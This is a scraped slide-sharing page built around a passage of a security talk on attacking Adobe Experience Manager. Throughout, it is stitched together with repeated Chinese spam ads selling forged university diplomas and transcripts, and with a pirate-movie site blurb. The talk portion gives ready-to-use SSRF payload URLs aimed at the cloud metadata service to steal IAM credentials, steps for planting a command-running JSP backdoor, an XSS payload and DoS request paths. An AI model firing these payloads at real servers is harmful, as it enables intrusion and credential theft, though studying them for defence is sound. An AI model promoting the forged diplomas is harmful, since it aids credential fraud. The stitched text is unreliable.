选择实体注册公司办理,更放心,更安全!我们的承诺:可来公司面谈,可签订合同,会陪同客户一起到教育部认证窗口递交认证材料,客户在教育部官方认证查询网站查询到认证通过结果后付款,不成功不收费! 办理(ukc毕业证书)英国肯特大学毕业证【微信:A575476】外观非常精致,由特殊纸质材料制成,上面印有校徽、校名、毕业生姓名、专业等信息。 办理(ukc毕业证书)英国肯特大学毕业证【微信:A575476】格式相对统一,各专业都有相应的模板。通常包括以下部分: 校徽:象征着学校的荣誉和传承。 校名:学校英文全称 授予学位:本部分将注明获得的具体学位名称。 毕业生姓名:这是最重要的信息之一,标志着该证书是由特定人员获得的。 颁发日期:这是毕业正式生效的时间,也代表着毕业生学业的结束。 其他信息:根据不同的专业和学位,可能会有一些特定的信息或章节。 办理(ukc毕业证书)英国肯特大学毕业证【微信:A575476】价值很高,需要妥善保管。一般来说,应放置在安全、干燥、防潮的地方,避免长时间暴露在阳光下。如需使用,最好使用复印件而不是原件,以免丢失。 综上所述,办理(ukc毕业证书)英国肯特大学毕业证【微信:A575476 】是证明身份和学历的高价值文件。外观简单庄重,格式统一,包括重要的个��信息和发布日期。对持有人来说,妥善保管是非常重要的。

萨塞克斯大学毕业证布里斯托大学毕业证谢菲尔德大学毕业证
Lincoln University degree offer diploma Transcript
Lincoln University degree offer diploma TranscriptLincoln University degree offer diploma Transcript
Lincoln University degree offer diploma Transcript

一比一原版【微信:176555708】办理毕业证 成绩单 文凭 学位证offer(留信学历认证永久存档查询)采用学校原版纸张、特殊工艺完全按照原版一比一制作(包括:隐形水印,阴影底纹,钢印LOGO烫金烫银,LOGO烫金烫银复合重叠,文字图案浮雕,激光镭射,紫外荧光,温感,复印防伪)行业标杆!精益求精,诚心合作,真诚制作!多年品质 ,按需精细制作,24小时接单,全套进口原装设备,十五年致力于帮助留学生解决难题,业务范围有加拿大、英国、澳洲、韩国、美国、新加坡,新西兰等学历材料,包您满意。 【业务选择办理准则】 一、工作未确定,回国需先给父母、亲戚朋友看下文凭的情况,办理一份就读学校的毕业证【微信:176555708】文凭即可 二、回国进私企、外企、自己做生意的情况,这些单位是不查询毕业证真伪的,而且国内没有渠道去查询国外文凭的真假,也不需要提供真实教育部认证。鉴于此,办理一份毕业证【微信:176555708】即可 三、进国企,银行,事业单位,考公务员等等,这些单位是必需要提供真实教育部认证的,办理教育部认证所需资料众多且烦琐,所有材料您都必须提供原件,我们凭借丰富的经验,快捷的绿色通道帮您快速整合材料,让您少走弯路。 留信网认证的作用: 1:该专业认证可证明留学生真实身份【微信:176555708】 2:同时对留学生所学专业登记给予评定 3:国家专业人才认证中心颁发入库证书 4:这个认证书并且可以归档倒地方 5:凡事获得留信网入网的信息将会逐步更新到个人身份内,将在公安局网内查询个人身份证信息后,同步读取人才网入库信息 6:个人职称评审加20分 7:个人信誉贷款加10分 8:在国家人才网主办的国家网络招聘大会中纳入资料,供国家高端企业选择人才 → 【关于价格问题(保证一手价格) 我们所定的价格是非常合理的,而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格,因为我想坦诚对待大家 不想跟大家在价格方面浪费时间 对于老客户或者被老客户介绍过来的朋友,我们都会适当给一些优惠。 选择实体注册公司办理,更放心,更安全!我们的承诺:可来公司面谈,可签订合同,会陪同客户一起到教育部认证窗口递交认证材料,客户在教育部官方认证查询网站查询到认证通过结果后付款,不成功不收费! 外观非常精致,由特殊纸质材料制成,上面印有校徽、校名、毕业生姓名、专业等信息。 格式相对统一,各专业都有相应的模板。通常包括以下部分: 校徽:象征着学校的荣誉和传承。 校名:学校英文全称 授予学位:本部分将注明获得的具体学位名称。 毕业生姓名:这是最重要的信息之一,标志着该证书是由特定人员获得的。 颁发日期:这是毕业正式生效的时间,也代表着毕业生学业的结束。 其他信息:根据不同的专业和学位,可能会有一些特定的信息或章节。 价值很高,需要妥善保管。一般来说,应放置在安全、干燥、防潮的地方,避免长时间暴露在阳光下。如需使用,最好使用复印件而不是原件,以免丢失。 综上所述,是证明身份和学历的高价值文件。外观简单庄重,格式统一,包括重要的个人信息和发布日期。对持有人来说,妥善保管是非常重要的。

very nice project on internet class 10.pptx
very nice project on internet class 10.pptxvery nice project on internet class 10.pptx
very nice project on internet class 10.pptx

project on internet class 10

Uploading backdoor jsp script
• Create node rcenode somewhere with property
sling:resourceType=rcetype
• Create node /apps/rcetype and upload html.jsp with payload to
node
• Open https://aem-site/rcenode.html?cmd=ifconfig and have LULZ
• https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh
69/110
https://www.youtube.com/watch?v=RDFOt7r7VBk
Server Side Request Forgery
SSRF in ReportingServicesProxyServlet
CVE-2018-12809
• Versions: 6.0, 6.1, 6.2, 6.3, 6.4
• Allows to see the response
• Leak secrets (IAM creds), RXSS (bypasses XSS filters), bypass dispatcher
• https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html
/libs/cq/contentinsight/content/proxy.reportingservices.json
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet
72/110

Recommended for you

Cyber Security Course & Guide. X.GI. pdf
Cyber Security Course & Guide. X.GI. pdfCyber Security Course & Guide. X.GI. pdf
Cyber Security Course & Guide. X.GI. pdf

Have you ever built a sandcastle at the beach, only to see it crumble when the tide comes in? In the digital world, our information is like that sandcastle, constantly under threat from waves of cyberattacks. A cybersecurity course is like learning to build a fortress for your information! This course will teach you how to protect yourself from sneaky online characters who might try to steal your passwords, photos, or even mess with your computer. You'll learn about things like: * **Spotting online traps:** Phishing emails that look real but could steal your info, and websites that might be hiding malware (like tiny digital monsters). * **Building strong defenses:** Creating powerful passwords and keeping your software up-to-date, like putting a big, strong lock on your digital door. * **Fighting back (safely):** Learning how to identify and avoid threats, and what to do if something does go wrong. By the end of this course, you'll be a cybersecurity champion, ready to defend your digital world and keep your information safe and sound!

cyber security
Steps involved in the implementation of EDI in a company
Steps involved in the implementation of EDI in a companySteps involved in the implementation of EDI in a company
Steps involved in the implementation of EDI in a company

Steps in EDI implementation Value Added Networks Internet based EDI Work Flow Coordination

edi
cyber-security-training-presentation-q320.ppt
cyber-security-training-presentation-q320.pptcyber-security-training-presentation-q320.ppt
cyber-security-training-presentation-q320.ppt

Cyber Security training

SSRF in ReportingServicesProxyServlet
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
73/110
SSRF in ReportingServicesProxyServlet
P1 submission for private BB – Leak IAM role creds
74/110
SSRF in ReportingServicesProxyServlet
P1 submission for private BB – Ex-filtrate secrets from /etc via SSRF
75/110
SSRF in ReportingServicesProxyServlet
P2 submission for Adobe VDP – SSRF and RXSS
76/110

Recommended for you

一比一原版(爱大毕业证书)英国爱丁堡大学毕业证如何办理
一比一原版(爱大毕业证书)英国爱丁堡大学毕业证如何办理一比一原版(爱大毕业证书)英国爱丁堡大学毕业证如何办理
一比一原版(爱大毕业证书)英国爱丁堡大学毕业证如何办理

特殊工艺完全按照原版制作【微信:A575476】【(爱大毕业证书)英国爱丁堡大学毕业证成绩单offer】【微信:A575476】(留信学历认证永久存档查询)采用学校原版纸张(包括:隐形水印,阴影底纹,钢印LOGO烫金烫银,LOGO烫金烫银复合重叠,文字图案浮雕,激光镭射,紫外荧光,温感,复印防伪)行业标杆!精益求精,诚心合作,真诚制作!多年品质 ,按需精细制作,24小时接单,全套进口原装设备,十五年致力于帮助留学生解决难题,业务范围有加拿大、英国、澳洲、韩国、美国、新加坡,新西兰等学历材料,包您满意。 【业务选择办理准则】 一、工作未确定,回国需先给父母、亲戚朋友看下文凭的情况,办理一份就读学校的毕业证【微信:A575476】文凭即可 二、回国进私企、外企、自己做生意的情况,这些单位是不查询毕业证真伪的,而且国内没有渠道去查询国外文凭的真假,也不需要提供真实教育部认证。鉴于此,办理一份毕业证【微信:A575476】即可 三、进国企,银行,事业单位,考公务员等等,这些单位是必需要提供真实教育部认证的,办理教育部认证所需资料众多且烦琐,所有材料您都必须提供原件,我们凭借丰富的经验,快捷的绿色通道帮您快速整合材料,让您少走弯路。 留信网认证的作用: 1:该专业认证可证明留学生真实身份【微信:A575476】 2:同时对留学生所学专业登记给予评定 3:国家专业人才认证中心颁发入库证书 4:这个认证书并且可以归档倒地方 5:凡事获得留信网入网的信息将会逐步更新到个人身份内,将在公安局网内查询个人身份证信息后,同步读取人才网入库信息 6:个人职称评审加20分 7:个人信誉贷款加10分 8:在国家人才网主办的国家网络招聘大会中纳入资料,供国家高端企业选择人才 → 【关于价格问题(保证一手价格) 我们所定的价格是非常合理的,而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格,因为我想坦诚对待大家 不想跟大家在价格方面浪费时间 对于老客户或者被老客户介绍过来的朋友,我们都会适当给一些优惠。 选择实体注册公司办理,更放心,更安全!我们的承诺:可来公司面谈,可签订合同,会陪同客户一起到教育部认证窗口递交认证材料,客户在教育部官方认证查询网站查询到认证通过结果后付款,不成功不收费! 办理(爱大毕业证书)英国爱丁堡大学毕业证【微信:A575476】外观非常精致,由特殊纸质材料制成,上面印有校徽、校名、毕业生姓名、专业等信息。 办理(爱大毕业证书)英国爱丁堡大学毕业证【微信:A575476】格式相对统一,各专业都有相应的模板。通常包括以下部分: 校徽:象征着学校的荣誉和传承。 校名:学校英文全称 授予学位:本部分将注明获得的具体学位名称。 毕业生姓名:这是最重要的信息之一,标志着该证书是由特定人员获得的。 颁发日期:这是毕业正式生效的时间,也代表着毕业生学业的结束。 其他信息:根据不同的专业和学位,可能会有一些特定的信息或章节。 办理(爱大毕业证书)英国爱丁堡大学毕业证【微信:A575476】价值很高,需要妥善保管。一般来说,应放置在安全、干燥、防潮的地方,避免长时间暴露���阳光下。如需使用,最好使用复印件而不是原件,以免丢失。 综上所述,办理(爱大毕业证书)英国爱丁堡大学毕业证【微信:A575476 】是证明身份和学历的高价值文件。外观简单庄重,格式统一,包括重要的个人信息和发布日期。对持有人来说,妥善保管是非常重要的。

伦敦大学毕业证伦敦商学院毕业证牛津大学毕业证
一比一原版(爱大毕业证书)爱丁堡大学毕业证如何办理
一比一原版(爱大毕业证书)爱丁堡大学毕业证如何办理一比一原版(爱大毕业证书)爱丁堡大学毕业证如何办理
一比一原版(爱大毕业证书)爱丁堡大学毕业证如何办理

特殊工艺完全按照原版制作【微信:A575476】【(爱大毕业证书)爱丁堡大学毕业证成绩单offer】【微信:A575476】(留信学历认证永久存档查询)采用学校原版纸张(包括:隐形水印,阴影底纹,钢印LOGO烫金烫银,LOGO烫金烫银复合重叠,文字图案浮雕,激光镭射,紫外荧光,温感,复印防伪)行业标杆!精益求精,诚心合作,真诚制作!多年品质 ,按需精细制作,24小时接单,全套进口原装设备,十五年致力于帮助留学生解决难题,业务范围有加拿大、英国、澳洲、韩国、美国、新加坡,新西兰等学历材料,包您满意。 【业务选择办理准则】 一、工作未确定,回国需先给父母、亲戚朋友看下文凭的情况,办理一份就读学校的毕业证【微信:A575476】文凭即可 二、回国进私企、外企、自己做生意的情况,这些单位是不查询毕业证真伪的,而且国内没有渠道去查询国外文凭的真假,也不需要提供真实教育部认证。鉴于此,办理一份毕业证【微信:A575476】即可 三、进国企,银行,事业单位,考公务员等等,这些单位是必需要提供真实教育部认证的,办理教育部认证所需资料众多且烦琐,所有材料您都必须提供原件,我们凭借丰富的经验,快捷的绿色通道帮您快速整合材料,让您少走弯路。 留信网认证的作用: 1:该专业认证可证明留学生真实身份【微信:A575476】 2:同时对留学生所学专业登记给予评定 3:国家专业人才认证中心颁发入库证书 4:这个认证书并且可以归档倒地方 5:凡事获得留信网入网的信息将会逐步更新到个人身份内,将在公安局网内查询个人身份证信息后,同步读取人才网入库信息 6:个人职称评审加20分 7:个人信誉贷款加10分 8:在国家人才网主办的国家网络招聘大会中纳入资料,供国家高端企业选择人才 → 【关于价格问题(保证一手价格) 我们所定的价格是非常合理的,而且我们现在做得单子大多数都是代理和回头客户介绍的所以一般现在有新的单子 我给客户的都是第一手的代理价格,因为我想坦诚对待大家 不想跟大家在价格方面浪费时间 对于老客户或者被老客户介绍过来的朋友,我们都会适当给一些优惠。 选择实体注册公司办理,更放心,更安全!我们的承诺:可来公司面谈,可签订合同,会陪同客户一起到教育部认证窗口递交认证材料,客户在教育部官方认证查询网站查询到认证通过结果后付款,不成功不收费! 办理(爱大毕业证书)爱丁堡大学毕业证【微信:A575476】外观非常精致,由特殊纸质材料制成,上面印有校徽、校名、毕业生姓名、专业等信息。 办理(爱大毕业证书)爱丁堡大学毕业证【微信:A575476】格式相对统一,各专业都有相应的模板。通常包括以下部分: 校徽:象征着学校的荣誉和传承。 校名:学校英文全称 授予学位:本部分将注明获得的具体学位名称。 毕业生姓名:这是最重要的信息之一,标志着该证书是由特定人员获得的。 颁发日期:这是毕业正式生效的时间,也代表着毕业生学业的结束。 其他信息:根据不同的专业和学位,可能会有一些特定的信息或章节。 办理(爱大毕业证书)爱丁堡大学毕业证【微信:A575476】价值很高,需要妥善保管。一般来说,应放置在安全、干燥、防潮的地方,避免长时间暴露在阳光下。如需使用,最好使用复印件而不是原件,以免丢失。 综上所述,办理(爱大毕业证书)爱丁堡大学毕业证【微信:A575476 】是证明身份和学历的高价值文件。外观简单庄重,格式统一,包括重要的个人信息和发布日期。对持有人来说,妥善保管是非常重要的。

胡弗汉顿大学毕业证贝德福特大学毕业证伦敦大学伯贝克学院毕业证
202254.com全网最高清影视香蕉影视,热门电影推荐,热门电视剧在线观看,免费电影,电影在线,在线观看。球华人在线電視劇,免费点播,免费提供最新高清的...
202254.com全网最高清影视香蕉影视,热门电影推荐,热门电视剧在线观看,免费电影,电影在线,在线观看。球华人在线電視劇,免费点播,免费提供最新高清的...202254.com全网最高清影视香蕉影视,热门电影推荐,热门电视剧在线观看,免费电影,电影在线,在线观看。球华人在线電視劇,免费点播,免费提供最新高清的...
202254.com全网最高清影视香蕉影视,热门电影推荐,热门电视剧在线观看,免费电影,电影在线,在线观看。球华人在线電視劇,免费点播,免费提供最新高清的...

在线影院,在线观看,在线看电影,海外影院,免费电影,免费电视剧,韩剧,美剧,免费观看,電視劇。"nt动漫,3d动漫,风车动漫,动漫,动漫花园,动漫里番,国产动漫,gay动漫,免费动漫。最新电影,好看的爱情电影,热门爱情,电影免费观看。香蕉影视-电影栏目为广大电影爱好者提供了各类最新好看的电影,收集了最新热门电影排行榜,是一家优质的电影分享网站,我们诚挚的欢迎所有喜欢看电影大全的朋友的到来。日本综艺,韩国综艺,tvb综艺,大陆综艺,好看的综艺,综艺线上看,综艺节目推荐,湖南卫视综艺,江苏卫视综艺,旅游综艺,搞笑综艺。香蕉影视有日本、韩国、TVB以及大陆等多地区精彩综艺节目!不论您喜欢的是旅游、搞笑还是热门节目推荐,我们都能提供丰富多样的综艺节目。通过线上观看,随时随地感受湖南卫视、江苏卫视等频道的最新综艺内容。立即点击,发现您的新综艺节目之旅。最新预估片,观看预告片,在线免费观看,热门电影预告片。预告片在线观看。

电影战争电影美国电影
SSRF in SalesforceSecretServlet
CVE-2018-5006
• Versions: 6.0, 6.1, 6.2, 6.3, 6.4
• Allows to see the response**
• Leak secrets (IAM role creds), RXSS (bypasses XSS filters)
• https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html
/libs/mcm/salesforce/customer.json
** - Servlet makes POST request to URL
77/110
SSRF in SalesforceSecretServlet
/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html/a.1.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx
&code=e
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx
&code=e
/libs/mcm/salesforce/customer.json/a.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co
de=e
/libs/mcm/salesforce/customer.json/a.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&c
ode=e
/libs/mcm/salesforce/customer.json/a.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co
de=e
78/110
SSRF in SalesforceSecretServlet
P1 submission for Adobe VDP – Leak IAM role creds
79/110
SSRF in SalesforceSecretServlet
P2 submission for private BB – SSRF and RXSS
80/110

Recommended for you

SSRF in SiteCatalystServlet
No CVE from Adobe PSIRT
• Allows to blindly send POST requests
• Allow to specify arbitrary HTTP headers via CRLF or LF injection
• HTTP smuggling (works for Jetty)
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
81/110
SSRF in SiteCatalystServlet 82/110
SSRF in SiteCatalystServlet
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
83/110
SSRF in AutoProvisioningServlet
No CVE from Adobe PSIRT
• Allows to blindly send POST requests
• Allow to inject arbitrary HTTP headers
• HTTP smuggling (works for Jetty)
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json
84/110

Recommended for you

SSRF in AutoProvisioningServlet 85/110
SSRF in AutoProvisioningServlet
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css
86/110
SSRF to RCE
• It’s possible to escalate 2 SSRFs to RCE on Publish server
• Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack
• https://www.adobeaemcloud.com/content/marketplace/marketplaceProxy.html?pack
agePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM-
6.2-SP1-CFP7
87/110
SSRF to RCE
• Topology is used by replication mechanisms in AEM
• https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html
• https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html
• To join Topology PUT request must be sent to TopologyConnectorServlet
• TopologyConnectorServlet is accessible on localhost only (default)
• Via SSRF with HTTP smuggling we can access TopologyConnectorServlet
88/110

Recommended for you

SSRF to RCE
• When node joins the topology Reverse replication agent is created
automatically
• Reverse replication agent replicates nodes from malicious AEM server to
Publish server … RCE!
89/110
https://www.youtube.com/watch?v=awPJRIR47jo
<script> AEM XSS </script>
XSS variants
• Create new node and upload SVG (jcr:write, jcr:addChildNodes)
• Create new node property with XSS payload (jcr:modifyProperties)
• SWF XSSes from @fransrosen
• WCMDebugFilter XSS – CVE-2016-7882
• See Philips XSS case @JonathanBoumanium
• Many servlets return HTML tags in JSON response
92/110

Recommended for you

XSS variants
• Create new node and upload SVG (jcr:write, jcr:addChildNodes)
• Create new node property with XSS payload (jcr:modifyProperties)
• SWF XSSes from @fransrosen
• WCMDebugFilter XSS – CVE-2016-7882
• See Philips XSS case @JonathanBoumanium
• Many servlets return HTML tags in JSON response
Persistent
93/110
• Create new node and upload SVG (jcr:write, jcr:addChildNodes)
• Create new node property with XSS payload (jcr:modifyProperties)
• SWF XSSes from @fransrosen
• WCMDebugFilter XSS – CVE-2016-7882
• See Philips XSS case @JonathanBoumanium
• Many servlets return HTML tags in JSON response
XSS variants
Reflected
94/110
XSS variants
• Create new node and upload SVG (jcr:write, jcr:addChildNodes)
• Create new node property with XSS payload (jcr:modifyProperties)
• SWF XSSes from @fransrosen
• WCMDebugFilter XSS – CVE-2016-7882
• See Philips XSS case @JonathanBoumanium
• Many servlets return HTML tags in JSON response
95/110
SuggestionHandler servlet
• /bin/wcm/contentfinder/connector/suggestions.json
• Reflects pre parameter in JSON response
• What if Content-Type of response is based on file extension in
URL:
• /a.html
96/110

Recommended for you

XSS variants
P3 submission for private BB – Reflected XSS
/bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onloa
d%3dalert(document.domain)%3E&post=yyyy
97/110
DoS attacks
DoS is easy
• /.ext.infinity.json
• /.ext.infinity.json?tidy=true
• /bin/querybuilder.json?type=nt:base&p.limit=-1
• /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-
1&pathPrefix=
• /content.assetsearch.json?query=*&start=0&limit=10&random=123
• /..assetsearch.json?query=*&start=0&limit=10&random=123
• /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=1111
11111
99/110
DoS is easy
/content.ext.infinity.1..json?tidy=true
100/110

Recommended for you

Other tricks
ExternalJobPostServlet javadeser
• Old bug, affects AEM 5.5 – 6.1
• http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization-
bug/
• /libs/dam/cloud/proxy.json
• Parameter file accepts Java serialized stream and passes to
ObjectInputStream.readObject()
102/110
ExternalJobPostServlet javadeser
Payload from oisdos tool
103/110
ExternalJobPostServlet javadeser 104/110

Recommended for you

XXE via webdav
• Old bug, CVE-2015-1833
• It’s possible to read local files with PROPFIND/PROPPATCH
• https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about-
webdav
105/110
XXE via webdav – webdav support is on?
• Send OPTIONS request
• Allow headers in response contain webdav-related methods
• Navigate to /crx/repository/test
• 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV"
106/110
AEM hacker toolset
AEM hacker toolset
•https://github.com/0ang3el/aem-hacker.git
• aem_hacker.py
• aem_discoverer.py
• aem_enum.py
• aem-rce-sling-script.sh
• aem_ssrf2rce.py
• aem_server.py & response.bin
• You need VPS to run aem_hacker.py
108/110

Recommended for you

AEM hacker toolset – aem-hacker.py
• Sensitive nodes exposure via DefaultGetServlet (/apps, /etc, /home, /var)
• QueryByulderJsonServlet & QueryByulderFeedServlet & GQLSearchServlet exposure
• PostServlet exposure
• SSRFs checks
• LoginStatusServlet & default creds check
• SWF XSSes
• WCMDebugFilter XSS
• SuggestionHandler XSS
• Log records exposure via AuditLogServlet
• ExternalJobPostServlet javadeser
• …
109/110
Tries to bypass AEM dispatcher!!!
THANK U!
@0ang3el

More Related Content

What's hot

Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictions
Mukesh k.r
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
Дмитрий Бумов
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
GarethHeyes
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
bugcrowd
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions
neexemil
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
REST API Pentester's perspective
